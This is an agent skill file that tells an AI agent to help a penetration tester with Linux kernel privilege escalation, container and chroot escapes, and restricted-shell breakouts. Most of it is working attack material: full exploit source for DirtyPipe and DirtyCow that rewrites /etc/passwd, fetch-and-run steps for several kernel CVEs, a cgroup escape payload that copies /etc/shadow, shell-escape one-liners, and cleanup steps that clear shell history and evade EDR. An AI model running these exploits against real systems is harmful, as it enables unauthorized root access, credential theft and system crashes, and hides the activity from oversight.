Agent skill
linux-kernel-exploits
Exploit Linux kernel vulnerabilities and escape restricted shells for privilege escalation.
Install this agent skill to your Project
npx add-skill https://github.com/blacklanternsecurity/red-run/tree/main/skills/privesc/linux-kernel-exploits
SKILL.md
Linux Kernel Exploitation and Restricted Shell Escape
You are helping a penetration tester exploit Linux kernel vulnerabilities and escape restricted shell environments for privilege escalation. All testing is under explicit written authorization.
Engagement Logging
Check for ./engagement/ directory. If absent, proceed without logging.
When an engagement directory exists:
- Print
[linux-kernel-exploits] Activated → <target>to the screen on activation. - Evidence → save significant output to
engagement/evidence/with descriptive filenames (e.g.,sqli-users-dump.txt,ssrf-aws-creds.json).
State Management
Call get_state_summary() from the state MCP server to read current
engagement state. Use it to:
- Skip re-testing targets, parameters, or vulns already confirmed
- Leverage existing credentials or access for this technique
- Understand what's been tried and failed (check Blocked section)
Your return summary must include:
- New targets/hosts discovered (with ports and services)
- New credentials or tokens found
- Access gained or changed (user, privilege level, method)
- Vulnerabilities confirmed (with status and severity)
- Pivot paths identified (what leads where)
- Blocked items (what failed and why, whether retryable)
Exploit and Tool Transfer
Never download exploits or scripts directly to the target from the internet. Use the attackbox-first workflow:
- Download on attackbox —
git clone,curl, orsearchsploit -mlocally - Review — inspect source before transferring
- Serve —
python3 -m http.server 8080on attackbox - Pull from target —
wget http://ATTACKBOX:8080/file -O /tmp/file
If HTTP is not viable: scp, nc, or base64-encode and paste.
Inline C source written via heredoc in this skill (DirtyPipe, DirtyCow, chroot escapes) does not need this workflow — it is embedded and reviewable.
Prerequisites
- Shell access on Linux target (even restricted shell for escape techniques)
- For kernel exploits: gcc on target (or cross-compile on attacker and transfer)
- For exploit suggesters: ability to run scripts (bash/perl/python)
Step 1: Identify Kernel and Environment
# Kernel version (primary identifier for CVE matching)
uname -r
uname -a
cat /proc/version
# Distribution and version
cat /etc/os-release 2>/dev/null
lsb_release -a 2>/dev/null
cat /etc/issue 2>/dev/null
# Architecture
uname -m
# x86_64, i686, aarch64, armv7l, etc.
# Check kernel protections
cat /proc/sys/kernel/randomize_va_space # KASLR: 0=off, 2=full
cat /proc/sys/kernel/kptr_restrict # Kernel pointer hiding: 0=visible
cat /proc/sys/kernel/yama/ptrace_scope # ptrace: 0=permissive
cat /proc/sys/kernel/dmesg_restrict # dmesg access: 0=all users
# Check security modules
sestatus 2>/dev/null # SELinux
aa-status 2>/dev/null # AppArmor
cat /proc/sys/kernel/modules_disabled # Module loading: 1=disabled
# Compiler availability
which gcc cc g++ 2>/dev/null
gcc --version 2>/dev/null
Decision tree — determine the approach:
| Situation | Go to |
|---|---|
| Known vulnerable kernel version | Step 2 (Exploit Suggesters) → Step 3 (CVE Exploits) |
| Unknown if kernel is vulnerable | Step 2 (Exploit Suggesters) |
| Restricted shell (rbash, rksh) | Step 5 (Restricted Shell Escape) |
| Chroot jail | Step 6 (Chroot Escape) |
| Container needing kernel exploit | Step 4 (Container Kernel Escapes) |
Step 2: Exploit Suggesters
Run automated tools to identify applicable kernel CVEs.
linux-exploit-suggester.sh
# On attackbox: download and review
curl -sL https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh -o les.sh
# Review script, then serve:
# python3 -m http.server 8080
# On target: pull from attackbox
wget http://ATTACKBOX:8080/les.sh -O /tmp/les.sh
chmod +x /tmp/les.sh
# Run
/tmp/les.sh
# Run with specific kernel version (if can't determine automatically)
/tmp/les.sh --uname "3.10.0-514.el7.x86_64"
# Run with CVE filtering
/tmp/les.sh --cvelist-file /tmp/cves.txt
linux-exploit-suggester-2.pl
# On attackbox: download and review
curl -sL https://raw.githubusercontent.com/jondonas/linux-exploit-suggester-2/master/linux-exploit-suggester-2.pl -o les2.pl
# Review script, then serve:
# python3 -m http.server 8080
# On target: pull from attackbox
wget http://ATTACKBOX:8080/les2.pl -O /tmp/les2.pl
# Run
perl /tmp/les2.pl
# With specific kernel
perl /tmp/les2.pl -k 3.10.0
Manual Version Matching
# Search ExploitDB
searchsploit "linux kernel $(uname -r | cut -d'-' -f1)"
searchsploit "linux kernel" | grep -i "privilege\|local\|root"
# Check known vulnerable ranges (quick reference)
uname -r
Quick kernel CVE version table:
| CVE | Name | Vulnerable Kernels | Reliability |
|---|---|---|---|
| CVE-2016-5195 | DirtyCow | ≤ 4.8.3 (race condition) | High (but old) |
| CVE-2022-0847 | DirtyPipe | 5.8 – 5.16.11, 5.15.x < 5.15.25 | High |
| CVE-2023-0386 | OverlayFS (GameOver(lay)) | 5.11 – 6.2 (Ubuntu specific) | High |
| CVE-2023-32233 | Netfilter nf_tables UAF | 5.x – 6.3.1 | Medium |
| CVE-2024-1086 | Netfilter nf_tables UAF (v2) | 5.14 – 6.6 | Medium |
| CVE-2022-2588 | route4 UAF | 5.x – 5.19 | Medium |
| CVE-2021-4034 | PwnKit (pkexec) | Any with polkit ≤ 0.120 | High (userspace) |
| CVE-2022-0492 | Cgroup escape | 5.x (container) | Medium |
| CVE-2010-3904 | RDS | ≤ 2.6.36-rc8 | High (legacy) |
| CVE-2012-0056 | Mempodipper | 2.6.39 – 3.2.2 | High (legacy) |
| CVE-2010-4258 | Full Nelson | 2.6.37 | High (legacy) |
Assess exploit suggester output and go to Step 3 for the best-matching CVE.
Step 3: Kernel CVE Exploitation
CVE-2022-0847 — DirtyPipe
Affected: Linux 5.8 through 5.16.11 (and 5.15.x before 5.15.25)
Check vulnerability:
uname -r
# Must be 5.8.x through 5.16.11
# 5.15.x must be below 5.15.25
# Quick test: can you write to a read-only file?
# (The exploit does this programmatically)
Exploit:
# Option 1: Overwrite /etc/passwd (most reliable)
# Reference: https://github.com/AlexisAhmed/CVE-2022-0847-DirtyPipe-Exploits
# Inline source below — no transfer needed
cat > /tmp/dirtypipe.c << 'EXPLOIT'
/* CVE-2022-0847 — DirtyPipe /etc/passwd overwrite
* Overwrites root's password hash in /etc/passwd to gain root access.
* Based on Max Kellermann's original PoC.
*
* Compile: gcc -o dirtypipe dirtypipe.c
* Usage: ./dirtypipe
* Then: su root (password: piped)
*/
#define _GNU_SOURCE
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <unistd.h>
#ifndef PAGE_SIZE
#define PAGE_SIZE 4096
#endif
static void prepare_pipe(int p[2]) {
if (pipe(p)) abort();
const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ);
static char buffer[4096];
unsigned r;
for (r = pipe_size; r > 0;) {
unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
write(p[1], buffer, n);
r -= n;
}
for (r = pipe_size; r > 0;) {
unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
read(p[0], buffer, n);
r -= n;
}
}
int main() {
const char *const path = "/etc/passwd";
/* New root entry with password 'piped' */
const char *const data = "root:$6$dirtypipe$JhEN7PSqFf5xHHLRGSCe1cMfCkVSWn4tajGbQn5Is.gx3TkSn1qFzjqOnETwELOjGODB5EhQXhUmL8OGBnMYq/:0:0::/root:/bin/bash\n";
printf("[*] DirtyPipe CVE-2022-0847 — /etc/passwd overwrite\n");
loff_t offset = 0;
/* Find "root:" in /etc/passwd */
int fd = open(path, O_RDONLY);
if (fd < 0) { perror("open"); return 1; }
struct stat st;
fstat(fd, &st);
/* Read file to find root line offset */
char *buf = malloc(st.st_size);
read(fd, buf, st.st_size);
char *root_line = strstr(buf, "root:");
if (!root_line) { printf("[-] 'root:' not found\n"); return 1; }
offset = root_line - buf;
printf("[*] Found 'root:' at offset %lld\n", (long long)offset);
/* Need at least 1 byte before the data in the same page */
if (offset % PAGE_SIZE == 0) {
printf("[-] Offset is page-aligned, exploit may not work\n");
return 1;
}
const loff_t next_page = (offset | (PAGE_SIZE - 1)) + 1;
const loff_t end = offset + (loff_t)strlen(data);
if (end > next_page) {
printf("[-] Data crosses page boundary\n");
return 1;
}
close(fd);
fd = open(path, O_RDONLY);
if (fd < 0) { perror("open"); return 1; }
int p[2];
prepare_pipe(p);
--offset;
ssize_t nbytes = splice(fd, &offset, p[1], NULL, 1, 0);
if (nbytes < 0) { perror("splice"); return 1; }
nbytes = write(p[1], data, strlen(data));
if (nbytes < 0) { perror("write"); return 1; }
printf("[+] /etc/passwd overwritten. Run: su root (password: piped)\n");
close(fd);
free(buf);
return 0;
}
EXPLOIT
gcc -o /tmp/dirtypipe /tmp/dirtypipe.c
/tmp/dirtypipe
# After exploit:
su root
# Password: piped
Option 2: Overwrite SUID binary:
# Some PoCs overwrite a SUID binary temporarily to get a shell
# Less reliable but doesn't modify /etc/passwd
# On attackbox: git clone https://github.com/AlexisAhmed/CVE-2022-0847-DirtyPipe-Exploits
# Review exploit-2.c, compile, then transfer binary to target
Troubleshooting:
- Exploit fails silently → kernel is patched (5.16.11+ or 5.15.25+)
splice: Invalid argument→ kernel too old (< 5.8) or feature disabled- Restore original /etc/passwd: exploit should print backup; if not, use
cp /etc/passwd- /etc/passwd
CVE-2016-5195 — DirtyCow
Affected: Linux ≤ 4.8.3 (race condition in copy-on-write)
Check vulnerability:
uname -r
# Vulnerable if kernel < 4.8.3
# Most distros patched quickly — check distro-specific kernel version
Exploit:
# Option 1: Overwrite /etc/passwd (cowroot/dirty.c)
# Reference: searchsploit -m 40839 (inline source below — no transfer needed)
cat > /tmp/dirtycow.c << 'EXPLOIT'
/* CVE-2016-5195 — DirtyCow /etc/passwd modification
* Compile: gcc -pthread -o dirtycow dirtycow.c
* Usage: ./dirtycow
*
* Race condition — may need multiple attempts.
* Creates firefart:password root user.
*/
#include <fcntl.h>
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <unistd.h>
void *map;
int f;
int stop = 0;
struct stat st;
char *name;
/* New passwd line: firefart with password 'password' and UID 0 */
char *payload = "firefart:fi3sED95ibqR6:0:0:pwned:/root:/bin/bash\n";
void *madviseThread(void *arg) {
while (!stop) {
madvise(map, 100, MADV_DONTNEED);
usleep(1);
}
return NULL;
}
void *procselfmemThread(void *arg) {
char *str = (char *)arg;
int f = open("/proc/self/mem", O_RDWR);
int i;
for (i = 0; i < 100000000 && !stop; i++) {
lseek(f, (uintptr_t)map, SEEK_SET);
write(f, str, strlen(str));
usleep(1);
}
close(f);
return NULL;
}
int main(int argc, char *argv[]) {
printf("[*] DirtyCow CVE-2016-5195\n");
f = open("/etc/passwd", O_RDONLY);
fstat(f, &st);
map = mmap(NULL, st.st_size, PROT_READ, MAP_PRIVATE, f, 0);
printf("[*] Racing... this may take a moment\n");
pthread_t pth1, pth2;
pthread_create(&pth1, NULL, madviseThread, NULL);
pthread_create(&pth2, NULL, procselfmemThread, payload);
/* Wait for race to complete — typically 1-30 seconds */
sleep(30);
stop = 1;
pthread_join(pth1, NULL);
pthread_join(pth2, NULL);
printf("[+] Done. Try: su firefart (password: password)\n");
return 0;
}
EXPLOIT
gcc -pthread -o /tmp/dirtycow /tmp/dirtycow.c
/tmp/dirtycow
# Wait ~30 seconds for race condition
su firefart
# Password: password
Stability warning: DirtyCow is a race condition. It can occasionally corrupt memory or cause the system to become unstable. Warn the tester before executing.
Troubleshooting:
- Race never wins → increase sleep time, run multiple times
- System becomes unstable → reboot may be needed (check with client)
- Compiled on wrong architecture → cross-compile for target arch
CVE-2023-0386 — GameOver(lay) / OverlayFS
Affected: Linux 5.11 through 6.2 (Ubuntu-specific overlayfs patches)
Check vulnerability:
uname -r
cat /etc/os-release
# Primarily affects Ubuntu kernels with overlayfs user namespace support
# Check if user namespaces are enabled:
cat /proc/sys/kernel/unprivileged_userns_clone 2>/dev/null
sysctl kernel.unprivileged_userns_clone 2>/dev/null
Exploit:
# On attackbox: clone and compile
git clone https://github.com/xkaneiki/CVE-2023-0386
cd CVE-2023-0386
# Review source code
make
# Package for transfer
tar czf cve-2023-0386.tar.gz fuse exp ovlcap/
# Serve: python3 -m http.server 8080
# On target: pull from attackbox and extract
wget http://ATTACKBOX:8080/cve-2023-0386.tar.gz -O /tmp/cve-2023-0386.tar.gz
cd /tmp && tar xzf cve-2023-0386.tar.gz
# Terminal 1: Set up the FUSE mount
./fuse ./ovlcap/lower ./gc &
# Terminal 2: Trigger the exploit
./exp
# Should get root shell
id
Alternative PoC repos (clone on attackbox, review, then transfer):
https://github.com/sxlmnwb/CVE-2023-0386https://github.com/briskets/CVE-2023-0386
Prerequisites:
- Ubuntu kernel with overlayfs user namespace support
- User namespaces enabled (unprivileged_userns_clone = 1)
- libfuse-dev for compilation
CVE-2023-32233 — Netfilter nf_tables Use-After-Free
Affected: Linux 5.x through 6.3.1
uname -r
# Check if nf_tables module is loaded
lsmod | grep nf_tables
# On attackbox: git clone https://github.com/Liuk3r/CVE-2023-32233
# Review source, compile, then serve: python3 -m http.server 8080
# On target: pull from attackbox
wget http://ATTACKBOX:8080/exploit -O /tmp/exploit
chmod +x /tmp/exploit
./exploit
CVE-2024-1086 — Netfilter nf_tables Use-After-Free (v2)
Affected: Linux 5.14 through 6.6 (nf_tables module must be loaded)
This is a newer nf_tables UAF, distinct from CVE-2023-32233. It exploits a
double-free in nft_verdict_init() via user namespaces. More reliable than
CVE-2023-32233 on newer kernels but requires user namespace support.
Check vulnerability:
uname -r
# Must be 5.14.x through 6.6.x
# nf_tables module loaded
lsmod | grep nf_tables
# User namespaces enabled (required)
cat /proc/sys/kernel/unprivileged_userns_clone 2>/dev/null
# Or: sysctl kernel.unprivileged_userns_clone
# Seccomp status (exploit may fail under seccomp)
grep Seccomp /proc/self/status
# Seccomp: 0 = no filter (good), 2 = filter active (may block)
Exploit:
# On attackbox: clone and compile
git clone https://github.com/Notselwyn/CVE-2024-1086
cd CVE-2024-1086
make
# Binary: exploit
# Transfer to target
# python3 -m http.server 8080
# On target: wget http://ATTACKBOX:8080/exploit -O /tmp/exploit_1086
chmod +x /tmp/exploit_1086
/tmp/exploit_1086
Alternative PoC repositories (if the primary fails):
https://github.com/Notselwyn/CVE-2024-1086— original researcher's PoChttps://github.com/CCob/CVE-2024-1086— alternative implementation
Troubleshooting:
| Symptom | Cause | Fix |
|---|---|---|
| "failed to detect overwritten pte" | PTE spray didn't land | Race condition — retry 3-5 times. Try alternative PoC repos with different spray strategies |
| "pmd: 00000000cafebabe" | Sentinel value, spray completely missed | Kernel config may differ from what exploit expects. Try alternative PoC |
| Seccomp blocks syscalls | Shell has seccomp filter (common in PHP-FPM, Docker) | Run from a non-seccomp context (SSH session, not webshell) |
| "Operation not permitted" on CLONE_NEWUSER | User namespaces disabled | Check kernel.unprivileged_userns_clone. If 0, this exploit won't work |
| Exploit hangs | Race condition timing | Run with timeout 120 /tmp/exploit_1086. Kill and retry |
| Kernel panic/oops | UAF corruption | Inherent risk with UAF exploits. Warn client. May need box reboot |
Key insight: This exploit is a race condition. A single failure does NOT mean the kernel is patched. Retry 3-5 times before concluding it's blocked. If all retries fail with the same PTE error, try an alternative PoC repository — different implementations use different spray strategies.
CVE-2022-2588 — route4 Use-After-Free
Affected: Linux 5.x through 5.19
uname -r
# On attackbox: git clone https://github.com/Markakd/CVE-2022-2588
# Review source, compile: gcc -o exp exp.c -lpthread
# Serve: python3 -m http.server 8080
# On target: pull from attackbox
wget http://ATTACKBOX:8080/exp -O /tmp/exp
chmod +x /tmp/exp
./exp
Legacy Kernel Exploits (Quick Reference)
For older kernels (≤ 3.x), these exploits are well-documented:
| CVE | Name | Kernel | ExploitDB |
|---|---|---|---|
| CVE-2010-3904 | RDS Protocol | ≤ 2.6.36-rc8 | 15285 |
| CVE-2010-4258 | Full Nelson | 2.6.37 | 15704 |
| CVE-2012-0056 | Mempodipper | 2.6.39 – 3.2.2 | 18411 |
| CVE-2013-2094 | perf_swevent | 2.6.32 – 3.8.9 | 25444 |
| CVE-2014-0196 | rawmodePTY | ≤ 3.14.3 | 33516 |
| CVE-2015-1328 | OverlayFS (Ubuntu) | 3.13 – 3.19 (Ubuntu) | 37292 |
| CVE-2017-16995 | eBPF verifier | 4.4 – 4.14 | 45010 |
# On attackbox: fetch from ExploitDB and compile
searchsploit -m EDBID
gcc -o exploit exploit.c -lpthread
# Review source, then serve:
# python3 -m http.server 8080
# On target: pull compiled binary from attackbox
wget http://ATTACKBOX:8080/exploit -O /tmp/exploit
chmod +x /tmp/exploit
./exploit
Pre-compiled Exploit Repositories
When gcc is unavailable on target, use pre-compiled binaries. Clone on attackbox, review, then transfer the matching binary:
https://github.com/lucyoa/kernel-exploits— organized by CVE with READMEhttps://github.com/bwbwbwbw/linux-exploit-binaries— pre-compiled for multiple archshttps://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack— broader collection
# On target: identify architecture
uname -m
file /bin/ls
# On attackbox: clone matching repo, select binary for target arch
# git clone https://github.com/lucyoa/kernel-exploits
# Review binary provenance, then serve:
# python3 -m http.server 8080
# On target: pull from attackbox
wget http://ATTACKBOX:8080/exploit -O /tmp/exploit
chmod +x /tmp/exploit
Step 4: Container Kernel Escapes
When exploiting from inside a container, certain kernel CVEs enable host escape.
CVE-2022-0492 — Cgroup release_agent
Affected: Containers with CAP_SYS_ADMIN (privileged containers)
# Check if in container
cat /proc/1/cgroup 2>/dev/null | grep -qE "docker|lxc|kubepods" && echo "CONTAINER"
cat /.dockerenv 2>/dev/null && echo "DOCKER"
# Check capabilities
capsh --print 2>/dev/null | grep cap_sys_admin
# Mount cgroup
mkdir -p /tmp/cgrp
mount -t cgroup -o rdma cgroup /tmp/cgrp 2>/dev/null || mount -t cgroup -o memory cgroup /tmp/cgrp
# Create child cgroup
mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release
# Find host path to container filesystem
host_path=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab)
# Set release agent to host-accessible payload
echo "$host_path/cmd" > /tmp/cgrp/release_agent
# Create payload on container filesystem (visible to host via overlay)
cat > /cmd << 'PAYLOAD'
#!/bin/sh
# Runs on HOST when cgroup is released
ps aux > /output # Proof of host execution
cat /etc/shadow > /shadow_dump
PAYLOAD
chmod 755 /cmd
# Trigger release — add and remove a process from cgroup
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
# Check output
cat /output 2>/dev/null
cat /shadow_dump 2>/dev/null
Privileged + hostPID Escape
# If --privileged --pid=host was used:
nsenter --target 1 --mount --uts --ipc --net --pid -- bash
# Now in host namespace as root
Route to container escape skills (Phase 6) for comprehensive container breakout.
Step 5: Restricted Shell Escape
Escape restricted shell environments (rbash, rksh, rzsh) to get a full shell.
Identify Restrictions
# Check shell type
echo $SHELL
echo $0
# Test what's restricted
cd /tmp # cd blocked?
echo test > /tmp/test # redirect blocked?
export PATH=/usr/bin # PATH modification blocked?
command -v python3 # What commands are available?
GTFOBins Shell Escapes
If any of these binaries are available, use them to spawn a full shell:
Editors:
# vi/vim
vi -c ':!/bin/bash'
vi -c ':set shell=/bin/bash' -c ':shell'
:!bash # From within vi
# ed
ed
!bash
# nano (if shell command enabled)
# Ctrl-R, Ctrl-X → enter command
Pagers:
# less
less /etc/passwd
!/bin/bash # From within less
# more
more /etc/passwd
!/bin/bash # Works when output doesn't fit screen
# man
man man
!/bin/bash # From within man pager
Interpreters:
# python/python3
python3 -c 'import os; os.system("/bin/bash")'
python3 -c 'import pty; pty.spawn("/bin/bash")'
# perl
perl -e 'exec "/bin/bash";'
# ruby
ruby -e 'exec "/bin/bash"'
# lua
lua -e 'os.execute("/bin/bash")'
# php
php -r 'system("/bin/bash");'
System utilities:
# find
find / -name whatever -exec /bin/bash \;
find . -exec /bin/bash \;
# awk/gawk
awk 'BEGIN {system("/bin/bash")}'
# nmap (old versions with --interactive)
nmap --interactive
!bash
# expect
expect -c 'spawn /bin/bash; interact'
# ftp
ftp
!/bin/bash
# ssh (to localhost)
ssh -o ProxyCommand=';bash 0<&2 1>&2' x
File utilities:
# zip
zip /tmp/test.zip /tmp/test -T --unzip-command="sh -c /bin/bash"
# tar
tar cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/bash
# tee (write to file, bypass redirect restriction)
echo "content" | tee /tmp/output
PATH Manipulation
# If PATH modification is allowed:
export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH
# Copy bash to an allowed directory
cp /bin/bash /tmp/bash 2>/dev/null
/tmp/bash
Bash Variable Tricks
# BASH_CMDS — register custom commands
BASH_CMDS[shell]=/bin/bash
shell
# Declare trick
declare -n PATH
export PATH=/bin:/usr/bin
bash -i
# Function override
function /usr/sbin/allowed_command { /bin/bash; }
export -f /usr/sbin/allowed_command
/usr/sbin/allowed_command
SSH-Based Escapes
# Force full bash via SSH
ssh user@localhost -t bash
ssh user@localhost -t "bash --noprofile --norc"
# ShellShock (CVE-2014-6271) if old bash
ssh user@localhost -t '() { :; }; /bin/bash'
Language-Specific Jail Escapes
Python sandbox escape:
# If in a Python jail, access __builtins__
__builtins__.__import__('os').system('/bin/bash')
# Or via subclasses
''.__class__.__mro__[1].__subclasses__()
# Find subprocess.Popen or os._wrap_close, call it
Lua jail escape:
-- If in Lua jail, check available functions
for k,v in pairs(_G) do print(k) end
os.execute("/bin/bash")
-- Or: io.popen("/bin/bash"):read("*a")
-- Encoded bypass
load(string.char(111,115,46,101,120,101,99,117,116,101,40,34,47,98,105,110,47,98,97,115,104,34,41))()
After escaping → re-enumerate with full shell, route to linux-discovery for complete privilege escalation assessment.
Step 6: Chroot Escape
Escape chroot jails when you have root inside the chroot.
Classic Chroot Escape (Root Required)
/* Compile: gcc -o chroot_escape chroot_escape.c
* Must be run as root INSIDE the chroot.
* Creates a new chroot, then uses relative paths to escape. */
#include <sys/stat.h>
#include <unistd.h>
#include <stdio.h>
int main() {
mkdir("escape_dir", 0755);
chroot("escape_dir");
/* Now our root is escape_dir, but CWD is still outside it */
int i;
for (i = 0; i < 100; i++) chdir("..");
chroot(".");
printf("[+] Escaped chroot\n");
execl("/bin/bash", "bash", NULL);
return 0;
}
Python variant:
import os
os.mkdir("escape_dir")
os.chroot("escape_dir")
for i in range(100): os.chdir("..")
os.chroot(".")
os.execl("/bin/bash", "bash")
File Descriptor Escape (Root Required)
/* Open FD before chroot, use fchdir to escape */
#include <fcntl.h>
#include <unistd.h>
#include <stdio.h>
int main() {
int fd = open("/", O_RDONLY); /* Save FD to real root */
mkdir("jail", 0755);
chroot("jail");
fchdir(fd); /* Go back to real root via FD */
close(fd);
for (int i = 0; i < 100; i++) chdir("..");
chroot(".");
printf("[+] Escaped via saved FD\n");
execl("/bin/bash", "bash", NULL);
return 0;
}
Mount-Based Escape
# If CAP_SYS_ADMIN inside chroot:
mkdir /tmp/escape
mount -t proc proc /tmp/escape
# Access /tmp/escape/1/root for init's root filesystem
ls /tmp/escape/1/root/
chroot /tmp/escape/1/root bash
Chroot Escape Tools
- chw00t — automated chroot escape tool:
bash
# https://github.com/earthquake/chw00t ./chw00t -e classicaliases ./chw00t -e mountproc ./chw00t -e ptrace
Troubleshooting:
mkdir: Permission denied→ not root inside chrootchroot: Operation not permitted→ seccomp or LSM blocking chroot syscall- Escape works but no binaries → mount host filesystem or use statically compiled tools
Step 7: Post-Exploitation and Routing
Troubleshooting
| Problem | Cause | Fix |
|---|---|---|
| Exploit segfaults | Wrong architecture or kernel config | Check uname -m, cross-compile for target |
| Exploit hangs | Race condition timing | Increase sleep/retry, run multiple instances |
| gcc not available | Minimal install | Cross-compile on attacker, transfer binary |
Operation not permitted |
SELinux/AppArmor blocking | Check sestatus, aa-status; may need bypass |
| Exploit succeeds but no root | EUID not propagated | Use bash -p or check if SUID was dropped |
| System crashes after exploit | Kernel corruption | Some exploits are destructive; warn client |
| Container exploit fails | Not privileged container | Check capsh --print; need CAP_SYS_ADMIN minimum |
| rbash blocks everything | Very restrictive config | Try SSH-based escape or language interpreters |
| Chroot escape fails | Not root in chroot | Need root inside chroot first; try other privesc |
| Compiler errors | Missing headers/libs | Use -static flag, or pre-compiled binaries |
Cleanup Reminders
Remind the user to clean up after testing:
# Remove compiled exploits
rm -f /tmp/dirtypipe /tmp/dirtypipe.c /tmp/dirtycow /tmp/dirtycow.c
rm -f /tmp/les.sh /tmp/les2.pl /tmp/chroot_escape
# Restore /etc/passwd if modified by DirtyPipe
# DirtyPipe: original backed up as /etc/passwd- (if exists)
cp /etc/passwd- /etc/passwd 2>/dev/null
# Restore /etc/passwd if modified by DirtyCow
# DirtyCow: remove firefart user
sed -i '/^firefart:/d' /etc/passwd
# Remove SUID shells
rm -f /tmp/rootbash
# Remove cgroup artifacts (container escape)
rmdir /tmp/cgrp/x 2>/dev/null
umount /tmp/cgrp 2>/dev/null
rm -f /cmd /output /shadow_dump
# Clear history
history -c
OPSEC Notes
Kernel exploits are HIGH OPSEC risk:
- Compilation on target creates gcc process and object files
- Exploit execution may trigger kernel oops/panic (visible in dmesg, syslog)
- Failed exploits may leave processes or corrupt memory
- CrowdStrike/EDR detects known exploit binaries by hash and behavior
- Audit logs capture execve of exploit binaries
Mitigation:
- Cross-compile on attacker machine when possible
- Use
/dev/shmor/tmpfor staging (tmpfs, not written to disk) - Run exploits inside
timeoutto prevent hangs:timeout 60 ./exploit - Have a rollback plan before running any kernel exploit
- Always warn about stability risks before executing
Recommended Agent Skills
Expand your agent's capabilities with these related and highly-rated skills.
credential-recovery
Offline credential and file recovery with hashcat and john. Use when any skill captures hashes (NTLM, Kerberos TGS/AS-REP, shadow, MSCACHE2) or encrypted files (ZIP, Office, PDF, KeePass, SSH key, 7z, RAR). Trigger phrases: "recover this hash", "offline recovery", "john", "hashcat", "zip2john", "password-protected file". Do NOT use for online password attacks (spraying, brute force against services) — use password-spraying instead.
remote-access-enumeration
Enumeration of remote access services: FTP, SSH, RDP, VNC, and WinRM. Checks anonymous access, default credentials, version vulnerabilities, and authentication methods. Use after network-recon identifies remote access ports.
smb-enumeration
SMB share enumeration, access testing, password policy extraction, and content searching. Enumerates shares via null session, guest, and authenticated access. Covers share listing, per-share access testing, MANSPIDER content search, and SMB vulnerability detection (signing, EternalBlue). Use after network-recon identifies SMB ports (139/445).
infrastructure-enumeration
Enumeration of infrastructure services: DNS, SMTP, SNMP, IPMI, NFS, TFTP, RPC/MSRPC, and HTTP/HTTPS surface detection. Checks zone transfers, open relays, default community strings, cipher zero, NFS exports, and web technology fingerprinting. Use after network-recon identifies infrastructure ports.
network-recon
Network reconnaissance, host discovery, port scanning, and OS fingerprinting. Produces a port/service map that the orchestrator uses to route to service-specific enumeration skills.
container-escapes
Container escape, Docker breakout, and Kubernetes exploitation.
Didn't find tool you were looking for?